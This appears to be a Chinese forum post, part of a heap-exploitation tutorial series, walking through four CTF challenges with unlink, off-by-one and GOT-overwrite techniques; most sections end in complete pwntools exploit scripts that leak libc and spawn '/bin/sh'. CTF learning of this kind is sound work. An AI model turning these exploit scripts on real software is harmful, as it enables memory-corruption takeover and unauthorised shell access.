|
发表于 2020-5-27 13:41:55
|
查看: 4219 |
回复: 0
pwn堆入门系列教程4
序言:这次进入到unlink的学习了,unlink在第一节已经用上了,但我用起来还不是很流畅,还是去翻了第一节的笔记,最主要是指针的问题,可能没学好指针,理解了unlink后就简单做了
2014 HITCON stkof功能分析- 几乎无输出的题目
- 申请功能,申请指定大小size
- 删除功能,删除idx位置处的chunk
- 输出一些无用字符串,有个strlen,本来想用来做/bin/sh的,发觉也不行
- 编辑功能
漏洞点分析signed __int64 fill() {
signed __int64 result; // rax
int i; // eax
unsigned int>
__int64>
char *ptr; // [rsp+18h] [rbp-78h]
char s; // [rsp+20h] [rbp-70h]
unsigned __int64 v6; // [rsp+88h] [rbp-8h]
v6 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
idx = atol(&s);
if (>
return 0xFFFFFFFFLL;
if ( !globals[idx] )
return 0xFFFFFFFFLL;
fgets(&s, 16, stdin);
size = atoll(&s);
ptr = globals[idx];
for ( i = fread(ptr, 1uLL,>
{
ptr += i;
size -= i;
}
if (>
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}
fill函数里也就是编辑功能处可以自定大小编辑,也就是说存在堆溢出
漏洞利用过程 这里有个小细节,自己补充下知识,关于缓冲区的问题,这个细节也解决了我自己出pwn题的时候输出,为什么输出不了的问题
就是如果未设置缓冲区为0的话,这道题里是第一次调用fgets是要先申请1024大小的堆块作为缓冲区的,还有printf也要申请1024大小的堆块作为缓冲区
知道创宇讲解的一道题目
ctf-wiki讲解这部分知识
- 首先先申请一块内存,冲掉printf和fgets所需缓冲区
free_got = elf.got['free'] puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
ptr = 0x0000000000602140+0x10
alloc(0x100) #idx1
- 是unlink部分,当然用unlink方法来解了,第一节学过了,伪造一个chunk,然后通过溢出覆盖第二个堆块的pre_size和size,在free第二个堆块的时候就会unlink我们的伪造的p堆块
alloc(0x30) #idx2 alloc(0x80) #idx3
alloc(0x30) #idx4
payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30)
payload += p64(0x90)
fill(2, payload)
delete(3)
gdb-peda$ x/20gx 0x20f7560-0x30 0x20f7530: 0x0000000000000000 0x0000000000000041 #chunk2
0x20f7540: 0x0000000000000000 0x0000000000000030 #p
0x20f7550: 0x0000000000602138 0x0000000000602140
0x20f7560: 0x6161616161616161 0x6161616161616161
0x20f7570: 0x0000000000000030 0x0000000000000090 #chunk3
0x20f7580: 0x0000000000000000 0x0000000000000000
0x20f7590: 0x0000000000000000 0x0000000000000000
0x20f75a0: 0x0000000000000000 0x0000000000000000
0x20f75b0: 0x0000000000000000 0x0000000000000000
0x20f75c0: 0x0000000000000000 0x0000000000000000
这里已经溢出覆盖掉chunk3的size了
其实unlink已经说过一次了,
- 首先,第一步要过掉unlink的size检测,覆盖chunk3的pre_size为fake_chunk大小
- 其次chunk3的insue位要为0,标志前面一个堆块未在使用当中
- 然后关键点就是伪造fd跟bk了
- 在第一点中我将ptr设置为global+0x10意思就是第二块堆块地址,这就是存放p的地方
- unlink第一步 FD = p->fd = ptr-0x18
- unlink第二步 BK=p->bk = ptr-0x10
- unlink第三步 判断FD->bk == p && BK->fd == p ?
- 过了检验后
- FD->bk = * (ptr-0x18 + 0x18 )= BK = ptr -0x10
- BK->fd = (ptr-0x10+0x10) = FD = ptr-0x18 最终结果就是
ptr = ptr-0x18,而ptr是0x0000000000602150故最终就是将global+0x10处的值改为0x602138 然后我们在编辑第二块的时候实际上就是编辑0x602138处,也就是global-0x8处
payload = 'a'*0x10 payload += p64(free_got)+p64(puts_got) + 'a'*8 + p64(atoi_got) #这里对应的是第一块堆块,第二块,第三块和第四块
fill(2, payload)
fill(1,p64(puts_plt))
delete(2)
io.recvuntil('FAIL\n')
io.recvuntil('FAIL\n')
puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("puts_addr: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
io.success("libc_base: 0x%x" % libc_base)
io.success("system_addr: 0x%x" % system_addr)
没什么好说的啊,覆写got表为put泄露地址
- 最后我修改atoi为system,因为输入的会经过atoi转换,所以输入的就是system参数
gdb.attach(io) fill(4, p64(system_addr))
io.sendline("/bin/sh\x00")
exp#!/usr/bin/env python2 # -*- coding: utf-8 -*-
from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'stkof'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'stkof'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
#>
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def alloc(size):
io.sendline("1")
io.sendline(str(size))
io.recvuntil("OK\n")
def printf(idx):
io.sendline("4")
io.sendline(str(idx))
def fill(idx, content):
io.sendline("2")
io.sendline(str(idx))
io.sendline(str(len(content)))
io.sendline(content)
io.recvuntil("OK\n")
def delete(idx):
io.sendline("3")
io.sendline(str(idx))
def exp():
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
ptr = 0x0000000000602140+0x10
#for buffer
alloc(0x100) #idx1
alloc(0x30) #idx2
alloc(0x80) #idx3
alloc(0x30) #idx4
payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30)
payload += p64(0x90)
fill(2, payload)
delete(3)
payload = 'a'*0x10
payload += p64(free_got)+p64(puts_got) + 'a'*8 + p64(atoi_got)
fill(2, payload)
fill(1,p64(puts_plt))
delete(2)
io.recvuntil('FAIL\n')
io.recvuntil('FAIL\n')
puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("puts_addr: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
io.success("libc_base: 0x%x" % libc_base)
io.success("system_addr: 0x%x" % system_addr)
gdb.attach(io)
fill(4, p64(system_addr))
io.sendline("/bin/sh\x00")
#gdb.attach(io)
if __name__ == '__main__':
exp()
io.interactive()
2016 ZCTF note2 ctf-wiki讲解
我只讲差异,里面有的我就不讲了,我只发现了这个漏洞点
程序在每次编辑 note 时,都会申请 0xa0 大小的内存,但是在 free 之后并没有设置为 NULL。
然后我并不会利用这个,本来想利用chunk extends上一节学的,发觉他free后的大小不怎么对,到时看下源码吧,他free后的chunk大小不是合并后的大小,最后看到了大佬讲解的那个0,然后通过-1转成无符号整数,这个我自己查看的时候看不出
漏洞利用过程 第一步构造unlink,原理上一节弄过了,所以感觉这次顺畅好多
ptr = 0x0000000000602120 first()
# unlink
payload = p64(0) + p64(0xa0) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x80, 'a')
newnote(0x80, payload)
newnote(0, 'b'*0x8)
newnote(0x80, 'c'*0x20)
delete(1)
newnote(0, 'b'*0x10+p64(0xa0)+p64(0x90))
delete(2)
unlink过后修改ptr[0]指针,指向atoi的got表,泄露地址,为什么指向atoi?为后面做准备
payload = 'a'*0x18 + p64(elf.got['atoi']) editnote(0, 1, payload)
shownote(0)
io.recvuntil("TheNewContents:Edit note success!\n")
io.recvuntil("Content is ")
atoi_addr = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("atoi_addr: 0x%x" % atoi_addr)
libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
io.success("libc_base: 0x%x" % libc_base)
getshell,因为此时第一块堆块还指向atoi的got表,所以此时编辑下,就可以覆写got表了,输入的时候会将输入串atoi,所以就成为参数了
#get_shell editnote(0, 1, p64(system_addr))
io.sendline("/bin/sh")
exp#!/usr/bin/env python2 # -*- coding: utf-8 -*-
from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'note2'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'note2'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
#>
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def newnote(size, content):
io.sendline("1")
io.sendline(str(size))
io.sendline(content)
def editnote(idx, choice, content):
io.sendline("3")
io.sendline(str(idx))
io.sendline(str(choice))
io.sendline(content)
def delete(idx):
io.sendline("4")
io.sendline(str(idx))
def shownote(idx):
io.sendline("2")
io.sendline(str(idx))
def first():
io.sendlineafter("Input your name:\n", "greenhand")
io.sendlineafter("Input your address:\n", "greenhand")
def exp():
ptr = 0x0000000000602120
first()
# unlink
payload = p64(0) + p64(0xa0) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x80, 'a')
newnote(0x80, payload)
newnote(0, 'b'*0x8)
newnote(0x80, 'c'*0x20)
delete(1)
newnote(0, 'b'*0x10+p64(0xa0)+p64(0x90))
delete(2)
# leak
payload = 'a'*0x18 + p64(elf.got['atoi'])
editnote(0, 1, payload)
shownote(0)
io.recvuntil("TheNewContents:Edit note success!\n")
io.recvuntil("Content is ")
atoi_addr = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("atoi_addr: 0x%x" % atoi_addr)
libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
io.success("libc_base: 0x%x" % libc_base)
#get_shell
editnote(0, 1, p64(system_addr))
io.sendline("/bin/sh")
gdb.attach(io)
if __name__ == '__main__':
exp()
io.interactive()
2017 insomni'hack wheelofrobots 这道题难点我觉得在于代码长了点,然后漏洞点难找了点,其余还好,我自己分析的时候又是一头雾水,只看出free的时候没置空,然后还有的是在change部分,他代销有的居然达到了0x9C40uLL,这里我觉得也是一个点,off-by-one真没看出来
ctf-wiki讲解
我不在分析功能以及漏洞点分析,这次我自己没分析出来,只讲下漏洞利用过程以及过程中踩到的坑
漏洞利用过程def add(idx,>io.sendlineafter("Your choice :", "1")
io.sendlineafter("Your choice :", str(idx))
if>
io.sendlineafter("Increase Bender's intelligence: ", str(size))
elif>
io.sendlineafter("Increase Robot Devil's cruelty: ", str(size))
elif>
io.sendlineafter("Increase Destructor's powerful: ", str(size))
def remove(idx):
io.sendlineafter("Your choice :", "2")
io.sendlineafter("Your choice :", str(idx))
def change(idx, name):
io.sendlineafter("Your choice :", "3")
io.sendlineafter("Your choice :", str(idx))
io.sendafter("Robot's name: ", name)
def start_robot():
io.sendlineafter("Your choice :", "4")
def off_by_one(byte):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Your choice :", "9999" + byte)
def write(addr1, addr2):
change(1, p64(addr1))
change(6, p64(addr2))
注意:这里change是sendafter不是sendline,因为sendline会发送多一个\n破坏地址
add(2, 1) remove(2)
off_by_one('\x01')
# change fd pointer
change(2, p64(0x0000000000603138))
off_by_one('\x00')
#pass the fastbin check>
add(3, 0x20)
#now>
#get malloc to -> 0x603138
add(2, 1)
#now 0x603138->null
add(1)
#whell <=2
remove(2)
remove(3)
我觉得这部分应该是顺风顺水的吧,off-by-one学过了
#now only have>
#the>
add(6, 4)
add(3, 7)
#change>
change(1, p64(1000))
ptr = 0x00000000006030E8
payload = p64(0) + p64(0x50) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x50, 'a')
payload += p64(0x50) #pre_size
payload += p64(0xa0) #size
change(6, payload)
# unlink
remove(3)
这里的话,要注意的就是开头申请的两个add了,那个不能低于remove的大小,不然会重新覆盖到那上边去,至于大小是多少,自己构造就好,然后溢出覆盖unlink,常见了
payload = p64(0)*2 + 'a'*0x18 + p64(ptr) change(6, payload)
#gdb.attach(io)
write(elf.got['exit'], 0x0000000000401855)
# change robot_wheel to 3
write(0x603130, 3)
change(1, p64(elf.got['puts']))
start_robot()
# leak
io.recvuntil(" Thx ")
puts_addr = u64(io.recv(6).strip().ljust(8, '\x00'))
io.success("puts_addr: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
我觉得这部分跟unlink属于同一部分的,重新修改地址,这里是将tinny改成指向destructor的位置处,这样编辑1就可以编辑第6处指针,在编辑第六处就是写入了,相当于任意写
写入完后泄露
#get shell write(elf.got['atoi'], system_addr)
io.send("sh;#")
跟前面套路一样,改掉atoi,然后传入sh就完了,ctf-wiki的改的free
exp#!/usr/bin/env python2 # -*- coding: utf-8 -*-
from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'wheelofrobots'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'wheelofrobots'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
#>
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def add(idx,>
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Your choice :", str(idx))
if>
io.sendlineafter("Increase Bender's intelligence: ", str(size))
elif>
io.sendlineafter("Increase Robot Devil's cruelty: ", str(size))
elif>
io.sendlineafter("Increase Destructor's powerful: ", str(size))
def remove(idx):
io.sendlineafter("Your choice :", "2")
io.sendlineafter("Your choice :", str(idx))
def change(idx, name):
io.sendlineafter("Your choice :", "3")
io.sendlineafter("Your choice :", str(idx))
io.sendafter("Robot's name: ", name)
def start_robot():
io.sendlineafter("Your choice :", "4")
def off_by_one(byte):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Your choice :", "9999" + byte)
def write(addr1, addr2):
change(1, p64(addr1))
change(6, p64(addr2))
def exp():
add(2, 1)
remove(2)
off_by_one('\x01')
# change fd pointer
change(2, p64(0x0000000000603138))
off_by_one('\x00')
#pass the fastbin check>
add(3, 0x20)
#now>
#get malloc to -> 0x603138
add(2, 1)
#now 0x603138->null
add(1)
#whell <=2
remove(2)
remove(3)
#now only have>
#the>
add(6, 4)
add(3, 7)
#change>
change(1, p64(1000))
ptr = 0x00000000006030E8
payload = p64(0) + p64(0x50) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x50, 'a')
payload += p64(0x50) #pre_size
payload += p64(0xa0) #size
change(6, payload)
# unlink
remove(3)
payload = p64(0)*2 + 'a'*0x18 + p64(ptr)
change(6, payload)
#gdb.attach(io)
write(elf.got['exit'], 0x0000000000401855)
# change robot_wheel to 3
write(0x603130, 3)
change(1, p64(elf.got['puts']))
start_robot()
# leak
io.recvuntil(" Thx ")
puts_addr = u64(io.recv(6).strip().ljust(8, '\x00'))
io.success("puts_addr: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
#get shell
write(elf.got['atoi'], system_addr)
io.send("sh;#")
if __name__ == '__main__':
exp()
io.interactive()
zctf-note3 这道题算自己做的了,自己分析漏洞点,自己做,不过有两个位置卡住了,暂时未得以解决先记录下来,从他人wp里获得的解决方案
功能分析 有增删查改,
查询部分是没用的,无法泄露
漏洞点分析 不知道为什么,看到这个读取函数瞬间就懂怎么做了
unsigned __int64 __fastcall sub_4008DD(__int64 a1, __int64 a2, char a3) {
char v4; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+2Fh] [rbp-11h]
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]
v4 = a3;
for ( i = 0LL; a2 - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == v4 )
break;
*(_BYTE *)(i + a1) = buf;
}
*(_BYTE *)(a1 + i) = 0;
return i;
}
a2-1跟我前面做过的一两道题都类似,利用0-1负数,然后转成无符号比较,变成很大,也就是堆溢出
注意:这里的坑点就是a3, a3假设被定为\n,我们sendline的时候sendline(p64(addr))会覆盖到下一个地址的最后一位,并将他改成\x00,这是最坑的点了,我被这个坑了好久
漏洞利用过程def add(size, content): io.sendlineafter("option--->>\n", "1")
io.sendlineafter("Input the length of the note content:(less than 1024)\n", str(size))
io.sendlineafter("Input the note content:\n", content)
def show():
io.sendlineafter("option--->>\n", "2")
def edit(idx, content):
io.sendlineafter("option--->>\n", "3")
io.sendlineafter("Input the>
io.sendlineafter("Input the new content:\n", content)
def delete(idx):
io.sendlineafter("option--->>\n", "4")
io.sendlineafter("Input the>
不用多说吧,每道堆题一样的套路
add(0, 'a'*0x8) #idx0 add(0, 'b'*0x8) #idx1
add(0x80, 'c'*0x80) #idx2
ptr = 0x6020c8
payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30)
payload += p64(0x90)
edit(0, payload)
delete(2)
这里有坑,切记,不能删掉idx1在进行覆盖,会报错,至于具体报错原因我不清楚,我估计是fastbin链上修改成了错误的fd指针,检测到了,这个问题待解决
简单的unlink
- 这里我利用了上一道题的思路,一样的做,修改idx0指向idx1指针部分,通过修改idx0,然后达到任意地址写
free_got = elf.got['free'] puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
atol_got = elf.got['atol']
atoi_got = elf.got['atoi']
payload = 'a'*0x18 + p64(ptr+8) + p64(elf.got['free'])
#payload = 'a'*0x18 + p64(free_got) + p64(puts_got)
edit(0, payload)
#edit(0, p64(puts_plt)[:-1])
edit(1, p64(elf.plt['puts'])[:-1]) #关键点,切记,不能破坏到下一个地址,不然会出错
#delete(1)
edit(0, p64(atol_got))
delete(1)
atol_addr = u64(io.recvline().strip().ljust(8, '\x00'))
libc_base = atol_addr - libc.symbols['atol']
system_addr = libc_base + libc.symbols['system']
io.success("libc_base: 0x%x" % libc_base)
io.success("atol_got: 0x%x" % atol_got)
edit(0, p64(atoi_got)) edit(1, p64(system_addr)[:-1])
gdb.attach(io)
io.sendline("/bin/sh;#")
exp#!/usr/bin/env python2 # -*- coding: utf-8 -*-
from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'note3'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'note3'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
#>
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def add(size, content):
io.sendlineafter("option--->>\n", "1")
io.sendlineafter("Input the length of the note content:(less than 1024)\n", str(size))
io.sendlineafter("Input the note content:\n", content)
def show():
io.sendlineafter("option--->>\n", "2")
def edit(idx, content):
io.sendlineafter("option--->>\n", "3")
io.sendlineafter("Input the>
io.sendlineafter("Input the new content:\n", content)
def delete(idx):
io.sendlineafter("option--->>\n", "4")
io.sendlineafter("Input the>
def exp():
add(0, 'a'*0x8) #idx0
add(0, 'b'*0x8) #idx1
add(0x80, 'c'*0x80) #idx2
ptr = 0x6020c8
payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30)
payload += p64(0x90)
edit(0, payload)
delete(2)
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
atol_got = elf.got['atol']
atoi_got = elf.got['atoi']
payload = 'a'*0x18 + p64(ptr+8) + p64(elf.got['free'])
#payload = 'a'*0x18 + p64(free_got) + p64(puts_got)
edit(0, payload)
#edit(0, p64(puts_plt)[:-1])
edit(1, p64(elf.plt['puts'])[:-1])
#delete(1)
edit(0, p64(atol_got))
delete(1)
atol_addr = u64(io.recvline().strip().ljust(8, '\x00'))
libc_base = atol_addr - libc.symbols['atol']
system_addr = libc_base + libc.symbols['system']
io.success("libc_base: 0x%x" % libc_base)
io.success("atol_got: 0x%x" % atol_got)
edit(0, p64(atoi_got))
edit(1, p64(system_addr)[:-1])
gdb.attach(io)
io.sendline("/bin/sh;#")
if __name__ == '__main__':
exp()
io.interactive()
总结- unlink部分完结了
- unlink部分学习时间4天,现在对于unlink轻车熟路了,不过通常不是单一漏洞点,单一的好分析点
- 要多学学逆向,逆向起复杂的题目来真的难,像那个机器人那题,我连漏洞点都找不到,真的惨
- 我觉得机器人那题还有另外解法,因为4和5选项越界部分都没用上
- 感谢萝卜师傅的指导
参考链接 看雪大佬
|
温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【 投诉建议】板块发帖举报。
|